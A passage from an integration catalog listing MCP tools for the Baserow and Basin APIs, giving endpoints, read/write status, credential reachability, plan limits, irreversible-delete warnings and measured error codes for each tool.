Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/table/{table_id}/ POST /api/v1/baserow/api/database/views/table/{table_id}/. Scopes: api. baserow_post_api_database_views_table_by_table_id_order (write) — Order database table views Changes the order of the provided view ids to the matching position that the id has in the list. The order of the not provided views will be set to `0`. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/views/table/{table_id}/order/ POST /api/v1/baserow/api/database/views/table/{table_id}/order/. Scopes: api. baserow_post_api_database_webhooks_table_by_table_id (write) — Create database table webhook Creates a new webhook for the table related to the provided `table_id` parameter if the authorized user has access to the related database workspace. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/webhooks/table/{table_id}/ POST /api/v1/baserow/api/database/webhooks/table/{table_id}/. Scopes: api. baserow_post_api_database_webhooks_table_by_table_id_test_call (write) — Test call database table webhook This endpoint triggers a test call based on the provided data if the user has access to the workspace related to the table. The test call will be made immediately and a copy of the request, response and status will be included in the response. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/database/webhooks/table/{table_id}/test-call/ POST /api/v1/baserow/api/database/webhooks/table/{table_id}/test-call/. Scopes: api. baserow_post_api_health_email (write) — Email tester Sends a test email to the provided email address. Useful for testing Baserow's email configuration as errors are clearly returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/_health/email/ POST /api/v1/baserow/api/_health/email/. Scopes: api. baserow_post_api_jobs (write) — Create job Creates a new job. This job runs asynchronously in the background and execute the task specific to the provided typeparameters. The `get_job` can be used to get the current state of the job. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/jobs/ POST /api/v1/baserow/api/jobs/. Scopes: api. baserow_post_api_jobs_by_job_id_cancel (write) — Cancel job Cancels a job. Note: you can cancel only a scheduled or a job that is already running. The user requesting must be the owner of the job to cancel. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/jobs/{job_id}/cancel/ POST /api/v1/baserow/api/jobs/{job_id}/cancel/. Scopes: api. baserow_post_api_licenses (write) — Admin register license Registers a new license. After registering you can assign users to the license that will be able to use the license's features while the license is active. If an existing license with the same `license_id` already exists and the provided license has been issued later than that one, the existing one will be upgraded. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/licenses/ POST /api/v1/baserow/api/licenses/. Scopes: api. baserow_post_api_licenses_by_id_by_user_id (write) — Admin add user to license Adds the user related to the provided parameter and to the license related to the parameter. This only happens if there are enough seats left on the license and if the user is not already on the license. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/licenses/{id}/{user_id}/ POST /api/v1/baserow/api/licenses/{id}/{user_id}/. Scopes: api. baserow_post_api_licenses_by_id_fill_seats (write) — Admin fill remaining seats of license Fills the remaining empty seats of the license with the first users that are found. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/licenses/{id}/fill-seats/ POST /api/v1/baserow/api/licenses/{id}/fill-seats/. Scopes: api. baserow_post_api_licenses_by_id_remove_all_users (write) — Admin remove all users from license Removes all the users that are on the license. This will empty all the seats. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/licenses/{id}/remove-all-users/ POST /api/v1/baserow/api/licenses/{id}/remove-all-users/. Scopes: api. baserow_post_api_mcp_endpoints (write) — Create mcp endpoint Creates a new MCP endpoint for a given workspace. The endpoint can be used for an MCP integration. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/mcp/endpoints/ POST /api/v1/baserow/api/mcp/endpoints/. Scopes: api. baserow_post_api_notifications_by_workspace_id_mark_all_as_read (write) — Mark all workspace notifications as read Mark as read all the notifications for the given workspace and user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/notifications/{workspace_id}/mark-all-as-read/ POST /api/v1/baserow/api/notifications/{workspace_id}/mark-all-as-read/. Scopes: api. baserow_post_api_role_by_workspace_id (write) — Assign role You can assign a role to a subject into the given workspace for the given scope with this endpoint. If you want to remove the role you can omit the role property. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/role/{workspace_id}/ POST /api/v1/baserow/api/role/{workspace_id}/. Scopes: api. baserow_post_api_role_by_workspace_id_batch (write) — Batch assign role You can assign a role to a multiple subjects into the given workspace for the given scopes with this endpoint. If you want to remove the role you can omit the role property. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/role/{workspace_id}/batch/ POST /api/v1/baserow/api/role/{workspace_id}/batch/. Scopes: api. baserow_post_api_row_comments_by_table_id_by_row_id (write) — Create row comment Creates a comment on the specified row. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/row_comments/{table_id}/{row_id}/ POST /api/v1/baserow/api/row_comments/{table_id}/{row_id}/. Scopes: api. baserow_post_api_snapshots_application_by_application_id (write) — Create snapshot Creates a new application snapshot. Snapshots represent a state of an application at a specific point in time and can be restored later, making it easy to create backups of entire applications. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/snapshots/application/{application_id}/ POST /api/v1/baserow/api/snapshots/application/{application_id}/. Scopes: api. baserow_post_api_snapshots_by_snapshot_id_restore (write) — Restore snapshot Restores a snapshot. When an application snapshot is restored, a new application will be created in the same workspace that the original application was placed in with the name of the snapshot and data that were in the original application at the time the snapshot was taken. The original application that the snapshot was taken from is unaffected. Snapshots can be restored multiple times and a number suffix is added to the new application name in the case of a collision. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/snapshots/{snapshot_id}/restore/ POST /api/v1/baserow/api/snapshots/{snapshot_id}/restore/. Scopes: api. baserow_post_api_sso_saml_acs (write) — Auth provider saml acs url (POST /api/sso/saml/acs/) Complete the SAML authentication flow by validating the SAML response. Sign in the user if already exists in Baserow or create a new one otherwise. Once authenticated, the user will be redirected to the original URL they were trying to access. If the response is invalid, the user will be redirected to an error page with a specific error message.It accepts the language code and the workspace invitation token as query parameters if provided. POST /api/sso/saml/acs/ POST /api/v1/baserow/api/sso/saml/acs/. Scopes: api. baserow_post_api_teams_by_team_id_subjects (write) — Create subject Creates a new team subject. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/teams/{team_id}/subjects/ POST /api/v1/baserow/api/teams/{team_id}/subjects/. Scopes: api. baserow_post_api_teams_workspace_by_workspace_id (write) — Workspace create team Creates a new team. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/teams/workspace/{workspace_id}/ POST /api/v1/baserow/api/teams/workspace/{workspace_id}/. Scopes: api. baserow_post_api_templates_install_by_workspace_id_by_template_id (write) — Install template (Deprecated) Installs the applications of the given template into the given workspace if the user has access to that workspace. The response contains those newly created applications. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/templates/install/{workspace_id}/{template_id}/ POST /api/v1/baserow/api/templates/install/{workspace_id}/{template_id}/. Scopes: api. baserow_post_api_templates_install_by_workspace_id_by_template_id_async (write) — Install template async Start an async job to install the applications of the given template into the given workspace if the user has access to that workspace. The response contains those newly created applications. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/templates/install/{workspace_id}/{template_id}/async/ POST /api/v1/baserow/api/templates/install/{workspace_id}/{template_id}/async/. Scopes: api. baserow_post_api_two_factor_auth_configuration (write) — Configure two factor auth Configures two-factor authentication for the authenticated user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/two-factor-auth/configuration/ POST /api/v1/baserow/api/two-factor-auth/configuration/. Scopes: api. baserow_post_api_two_factor_auth_disable (write) — Disable two factor auth Disables two-factor authentication for the authenticated user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/two-factor-auth/disable/ POST /api/v1/baserow/api/two-factor-auth/disable/. Scopes: api. baserow_post_api_two_factor_auth_verify (write) — Verify totp auth Verifies TOTP two-factor authentication. POST /api/two-factor-auth/verify/ POST /api/v1/baserow/api/two-factor-auth/verify/. Scopes: api. baserow_post_api_user (write) — Create user Creates a new user based on the provided values. If desired an authentication JWT can be generated right away. After creating an account the initial workspace containing a database is created. POST /api/user/ POST /api/v1/baserow/api/user/. Scopes: api. baserow_post_api_user_change_email (write) — Change email Changes the email address of a user if the confirmation token is valid. The **send_change_email_confirmation** endpoint sends an email to the new address containing the token. That token can be used to change the email address here. POST /api/user/change-email/ POST /api/v1/baserow/api/user/change-email/. Scopes: api. baserow_post_api_user_change_password (write) — Change password Changes the password of an authenticated user, but only if the old password matches. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/user/change-password/ POST /api/v1/baserow/api/user/change-password/. Scopes: api. baserow_post_api_user_files_upload_file (write) — Upload file Uploads a file to Baserow by uploading the file contents directly. A `file` multipart is expected containing the file contents. POST /api/user-files/upload-file/ POST /api/v1/baserow/api/user-files/upload-file/. Scopes: api. baserow_post_api_user_files_upload_via_url (write) — Upload via url Uploads a file to Baserow by downloading it from the provided URL. POST /api/user-files/upload-via-url/ POST /api/v1/baserow/api/user-files/upload-via-url/. Scopes: api. baserow_post_api_user_reset_password (write) — Reset password Changes the password of a user if the reset token is valid. The **send_password_reset_email** endpoint sends an email to the user containing the token. That token can be used to change the password here without providing the old password. POST /api/user/reset-password/ POST /api/v1/baserow/api/user/reset-password/. Scopes: api. baserow_post_api_user_schedule_account_deletion (write) — Schedule account deletion Schedules the account deletion of the authenticated user. The user will be permanently deleted after the grace delay defined by the instance administrator. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/user/schedule-account-deletion/ POST /api/v1/baserow/api/user/schedule-account-deletion/. Scopes: api. baserow_post_api_user_send_change_email_confirmation (write) — Send change email confirmation Sends an email to the new email address containing a confirmation link. The user must provide their current password to initiate this request. The link is going to be valid for 12 hours. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/user/send-change-email-confirmation/ POST /api/v1/baserow/api/user/send-change-email-confirmation/. Scopes: api. baserow_post_api_user_send_reset_password_email (write) — Send password reset email Sends an email containing the password reset link to the email address of the user. This will only be done if a user is found with the given email address. The endpoint will not fail if the email address is not found. The link is going to the valid for 2 hours. POST /api/user/send-reset-password-email/ POST /api/v1/baserow/api/user/send-reset-password-email/. Scopes: api. baserow_post_api_user_send_verify_email (write) — Send verify email Sends an email to the user with an email verification link if the user's email is not verified yet. POST /api/user/send-verify-email/ POST /api/v1/baserow/api/user/send-verify-email/. Scopes: api. baserow_post_api_user_source_auth_refresh (write) — User source token refresh Generate a new access_token that can be used to continue operating on Baserow with a user source user starting from a valid refresh token. POST /api/user-source-auth-refresh/ POST /api/v1/baserow/api/user-source-auth-refresh/. Scopes: api. baserow_post_api_user_source_by_user_source_id_force_token_auth (write) — User source force token auth Force authenticates an existing user based on their ID. If successful, an access token and a refresh token will be returned. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/user-source/{user_source_id}/force-token-auth POST /api/v1/baserow/api/user-source/{user_source_id}/force-token-auth. Scopes: api. baserow_post_api_user_source_by_user_source_id_token_auth (write) — User source token auth Authenticates an existing user against a user source based on their credentials. If successful, an access token and a refresh token will be returned. POST /api/user-source/{user_source_id}/token-auth POST /api/v1/baserow/api/user-source/{user_source_id}/token-auth. Scopes: api. baserow_post_api_user_source_sso_saml_acs (write) — Auth provider saml acs url (POST /api/user-source/sso/saml/acs/) Complete the SAML authentication flow by validating the SAML response. Sign in the user if already exists in the user source or create a new one otherwise.Once authenticated, the user will be redirected to the original URL they were trying to access. If the response is invalid, the user will be redirected to an error page with a specific error message. POST /api/user-source/sso/saml/acs/ POST /api/v1/baserow/api/user-source/sso/saml/acs/. Scopes: api. baserow_post_api_user_source_token_blacklist (write) — User source token blacklist Blacklists the provided user source token. This can be used the sign the user off. POST /api/user-source-token-blacklist/ POST /api/v1/baserow/api/user-source-token-blacklist/. Scopes: api. baserow_post_api_user_token_auth (write) — Token auth Authenticates an existing user based on their email and their password. If successful, an access token and a refresh token will be returned. If the account is protected with two-factor authentication, temporary token is returned to finish the verification. POST /api/user/token-auth/ POST /api/v1/baserow/api/user/token-auth/. Scopes: api. baserow_post_api_user_token_blacklist (write) — Token blacklist Blacklists the provided token. This can be used the sign the user off. POST /api/user/token-blacklist/ POST /api/v1/baserow/api/user/token-blacklist/. Scopes: api. baserow_post_api_user_token_refresh (write) — Token refresh Generate a new access_token that can be used to continue operating on Baserow starting from a valid refresh token. POST /api/user/token-refresh/ POST /api/v1/baserow/api/user/token-refresh/. Scopes: api. baserow_post_api_user_token_verify (write) — Token verify Verifies if the refresh token is valid and can be used to generate a new access_token. POST /api/user/token-verify/ POST /api/v1/baserow/api/user/token-verify/. Scopes: api. baserow_post_api_user_verify_email (write) — Verify email Passing the correct verification token will confirm that the user's email address belongs to the user. This endpoint also optionally returns user information, access token and the refresh token for automatically signing user in the system if the request is performed by unauthenticated user. POST /api/user/verify-email/ POST /api/v1/baserow/api/user/verify-email/. Scopes: api. baserow_post_api_webhooks_by_webhook_uid (write) — Handle core webhook request post Receives and handles a webhook request. POST /api/webhooks/{webhook_uid}/ POST /api/v1/baserow/api/webhooks/{webhook_uid}/. Scopes: api. baserow_post_api_workspaces (write) — Create workspace Creates a new workspace where only the authorized user has access to. No initial data like database applications are added, they have to be created via other endpoints. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/ POST /api/v1/baserow/api/workspaces/. Scopes: api. baserow_post_api_workspaces_by_workspace_id_export_async (write) — Export workspace applications async Export workspace or set of applications application if the authorized user is in the application's workspace. All the related children are also going to be exported. For example in case of a database application all the underlying tables, fields, views and rows are going to be exported.Roles are not part of the export. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/{workspace_id}/export/async/ POST /api/v1/baserow/api/workspaces/{workspace_id}/export/async/. Scopes: api. baserow_post_api_workspaces_by_workspace_id_import_async (write) — Import workspace applications async Import a set of applications included in a given resource if the authorized user is in the specified workspace. This endpoint requires a valid resource_id of the uploaded file. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/{workspace_id}/import/async/ POST /api/v1/baserow/api/workspaces/{workspace_id}/import/async/. Scopes: api. baserow_post_api_workspaces_by_workspace_id_import_upload_file (write) — Import resource upload file Uploads an exported workspace or a set of applications if the authorized user is in the workspace. The uploaded file must be a valid ZIP file containing the applications' data for future import. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/{workspace_id}/import/upload-file/ POST /api/v1/baserow/api/workspaces/{workspace_id}/import/upload-file/. Scopes: api. baserow_post_api_workspaces_by_workspace_id_leave (write) — Leave workspace Makes the authenticated user leave the workspace related to the provided `workspace_id` if the user is in that workspace. If the user is the last admin in the workspace, they will not be able to leave it. There must always be one admin in the workspace, otherwise it will be left without control. If that is the case, they must either delete the workspace or give another member admin permissions first. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/{workspace_id}/leave/ POST /api/v1/baserow/api/workspaces/{workspace_id}/leave/. Scopes: api. baserow_post_api_workspaces_create_initial_workspace (write) — Create initial workspace Creates an initial workspace. This is typically called after the user signs up and skips the onboarding in the frontend. It contains some example data. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/create-initial-workspace/ POST /api/v1/baserow/api/workspaces/create-initial-workspace/. Scopes: api. baserow_post_api_workspaces_invitations_by_workspace_invitation_id_accept (write) — Accept workspace invitation Accepts a workspace invitation with the given id if the email address of the user matches that of the invitation. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/invitations/{workspace_invitation_id}/accept/ POST /api/v1/baserow/api/workspaces/invitations/{workspace_invitation_id}/accept/. Scopes: api. baserow_post_api_workspaces_invitations_by_workspace_invitation_id_reject (write) — Reject workspace invitation Rejects a workspace invitation with the given id if the email address of the user matches that of the invitation. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/invitations/{workspace_invitation_id}/reject/ POST /api/v1/baserow/api/workspaces/invitations/{workspace_invitation_id}/reject/. Scopes: api. baserow_post_api_workspaces_invitations_workspace_by_workspace_id (write) — Create workspace invitation Creates a new workspace invitations for an email address if the authorized user has admin rights to the related workspace. An email containing a sign up link will be send to the user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/invitations/workspace/{workspace_id}/ POST /api/v1/baserow/api/workspaces/invitations/workspace/{workspace_id}/. Scopes: api. baserow_post_api_workspaces_order (write) — Order workspaces Changes the order of the provided workspace ids to the matching position that the id has in the list. If the authorized user does not belong to the workspace it will be ignored. The order will be custom for each user. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /api/workspaces/order/ POST /api/v1/baserow/api/workspaces/order/. Scopes: api. baserow_post_assistant_chat_by_chat_uuid_cancel (write) — Send message to assistant chat (POST /assistant/chat/{chat_uuid}/cancel/) Send a message to the specified AI assistant chat and stream back the response. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /assistant/chat/{chat_uuid}/cancel/ POST /api/v1/baserow/assistant/chat/{chat_uuid}/cancel/. Scopes: api. baserow_post_assistant_chat_by_chat_uuid_messages (write) — Send message to assistant chat (POST /assistant/chat/{chat_uuid}/messages/) Send a message to the specified AI assistant chat and stream back the response. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /assistant/chat/{chat_uuid}/messages/ POST /api/v1/baserow/assistant/chat/{chat_uuid}/messages/. Scopes: api. baserow_post_assistant_onboarding_prompt_suggestions (write) — Get assistant onboarding prompt suggestions Suggests databases the user could create during the onboarding, based on the industry and team they provided. The first suggestion is the most relevant one. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. POST /assistant/onboarding/prompt-suggestions/ POST /api/v1/baserow/assistant/onboarding/prompt-suggestions/. Scopes: api. baserow_put_api_ai_providers_features_by_feature_type (write) — Update ai provider feature setting NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PUT /api/ai-providers/features/{feature_type}/ PUT /api/v1/baserow/api/ai-providers/features/{feature_type}/. Scopes: api. baserow_put_api_database_field_rules_by_table_id_rule_by_rule_id (write) — Update field rule Update a specific field rule. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PUT /api/database/field-rules/{table_id}/rule/{rule_id}/ PUT /api/v1/baserow/api/database/field-rules/{table_id}/rule/{rule_id}/. Scopes: api. baserow_put_api_row_comments_by_table_id_by_row_id_notification_mode (write) — Update row comment notification mode Updates the user's notification preferences for comments made on a specified table row. This is a **premium** feature. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PUT /api/row_comments/{table_id}/{row_id}/notification-mode/ PUT /api/v1/baserow/api/row_comments/{table_id}/{row_id}/notification-mode/. Scopes: api. baserow_put_api_teams_by_team_id (write) — Update team Updates an existing team with a new name. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PUT /api/teams/{team_id}/ PUT /api/v1/baserow/api/teams/{team_id}/. Scopes: api. baserow_put_api_webhooks_by_webhook_uid (write) — Handle core webhook request put Receives and handles a webhook request. PUT /api/webhooks/{webhook_uid}/ PUT /api/v1/baserow/api/webhooks/{webhook_uid}/. Scopes: api. baserow_put_assistant_messages_by_message_id_feedback (write) — Submit assistant message feedback Provide sentiment and feedback for the given AI assistant chat message. NOT REACHABLE with a Baserow database token: this operation accepts only Baserow's JWT session credential, so this tool is refused before the request is made. PUT /assistant/messages/{message_id}/feedback/ PUT /api/v1/baserow/assistant/messages/{message_id}/feedback/. Scopes: api. ================================================================================ ## Basin URL: https://www.agenticfabriq.com/integrations/basin Section: Integrated Tools Basin — 29 MCP tools Provider key: basin. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. basin_delete_api_v1_form_webhooks_by_id (write, destructive) — Delete a form webhook via DELETE /api/v1/form_webhooks/{id}. Remove a form webhook permanently. Submissions to its form stop being delivered to that URL from the next submission onwards; already-delivered payloads are unaffected. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. IRREVERSIBLE: Basin publishes no endpoint that restores this record. There is no undo. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. DELETE /api/v1/basin/api/v1/form_webhooks/{id}. Scopes: api. basin_delete_api_v1_forms_by_id (write, destructive) — Delete a form via DELETE /api/v1/forms/{id}. Destroy a form. KEY SCOPE: Basin's Authentication guide lists this under the ACCOUNT API key ('CRUD forms', 'Listing domains'). A form-scoped API key is documented as reaching one form only, so this action is expected to fail on one -- connect an account key (Account Settings -> API Settings) for it. Deleting a form takes its endpoint out of service: visitor posts to https://usebasin.com/f/ stop being accepted, and the submissions collected under it stop being reachable through this integration. Check 'List submissions' for that form first. IRREVERSIBLE: Basin publishes no endpoint that restores this record. There is no undo. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. DELETE /api/v1/basin/api/v1/forms/{id}. Scopes: api. basin_delete_api_v1_mail_templates_by_id (write, destructive) — Delete a mail template via DELETE /api/v1/mail_templates/{id}. Remove a mail template permanently; Basin answers 204 with no body. Forms still pointing at it through notification_mail_template_id, auto_response_mail_template_id or confirmation_mail_template_id should be repointed first. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. IRREVERSIBLE: Basin publishes no endpoint that restores this record. There is no undo. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. DELETE /api/v1/basin/api/v1/mail_templates/{id}. Scopes: api. basin_delete_api_v1_projects_by_id (write, destructive) — Delete a project via DELETE /api/v1/projects/{id}. Destroy a project. A project owns forms and mail templates, so this is the widest-reaching delete in the integration -- list its forms first. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. IRREVERSIBLE: Basin publishes no endpoint that restores this record. There is no undo. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. DELETE /api/v1/basin/api/v1/projects/{id}. Scopes: api. basin_delete_api_v1_submissions_by_id (write, destructive) — Delete a submission via DELETE /api/v1/submissions/{id}. Destroy one submission. Basin answers 404 when the submission belongs to another user and 422 when the destroy fails. KEY SCOPE: Basin's Authentication guide lists submissions under BOTH key types -- an account key reaches every form's submissions, a form-scoped key reaches its own form's. With a form key, a submission belonging to another form answers 403 or 404 rather than succeeding quietly. To make this reversible, use 'Update a submission' with trash: true instead: Basin's own submission filter has a 'trash' state, so trashing keeps the record and can be undone, while this action destroys it. Submissions cannot be CREATED through this API -- Basin supports index, show, update and destroy only. A visitor's submission arrives at the unauthenticated public form endpoint POST https://usebasin.com/f/, which is not part of this integration. Tags cannot be assigned at submission time either; lead tags and rules are configured in the Basin dashboard. IRREVERSIBLE: Basin publishes no endpoint that restores this record. There is no undo. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. DELETE /api/v1/basin/api/v1/submissions/{id}. Scopes: api. basin_get_api_v1_domains (read) — List sending domains via GET /api/v1/domains. List the custom email sending domains available to the connected Basin account, for use as a form's `domain_id`. Read-only: Basin documents no create, update or delete for a domain, and verifying one is done in the dashboard. The optional `query` filter searches by id and name. KEY SCOPE: Basin's Authentication guide lists this under the ACCOUNT API key ('CRUD forms', 'Listing domains'). A form-scoped API key is documented as reaching one form only, so this action is expected to fail on one -- connect an account key (Account Settings -> API Settings) for it. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account every Basin action fails, and no Agentic Fabriq setting changes that. A missing or wrong API key answers HTTP 400, not 401 (measured 2026-09-23: no key -> 400 'No API key was provided or no user session exists'; a bogus key -> 400 'Bad API key or user does not exist'). Basin's own troubleshooting page says 401; the measured status is 400, so a 400 carrying either of those bodies is a credential problem and not a malformed request. A 403 has two causes on Basin and they need different fixes: the account's plan does not include API access (upgrade to Growth, Pro or Agency), or a form-scoped API key was used against a resource belonging to another form (reconnect with an account-scoped key). Neither is fixed by re-pasting the same key. GET /api/v1/basin/api/v1/domains. Scopes: api. basin_get_api_v1_form_views (read) — List legacy form views via GET /api/v1/form_views. List the account's legacy Form Builder (Form.io) form views. The optional `query` filter searches by id, uuid, form id and form uuid. KEY SCOPE: Basin documents the reach of its two key types by resource (forms and domains under the account key, submissions under either) and says nothing about this resource, and no Agentic Fabriq account exists at a paying tier to measure it. An account-scoped key is documented as reaching everything the account can see, so it is the safe choice; a form-scoped key may answer 403 here. LEGACY, AND NOT FORM STUDIO: Basin's API reference states that /api/v1/form_views exposes read-only records from the legacy Form Builder (Form.io), and that 'a legacy form_view schema is not a Form Studio schema'. There is no public endpoint that returns a Form Studio field schema, and Form Studio fields cannot be created or edited through any API -- those are dashboard-only. PLAN GATE: Basin includes API access on the Growth, Pro and Agency plans only -- on a Free or Starter account 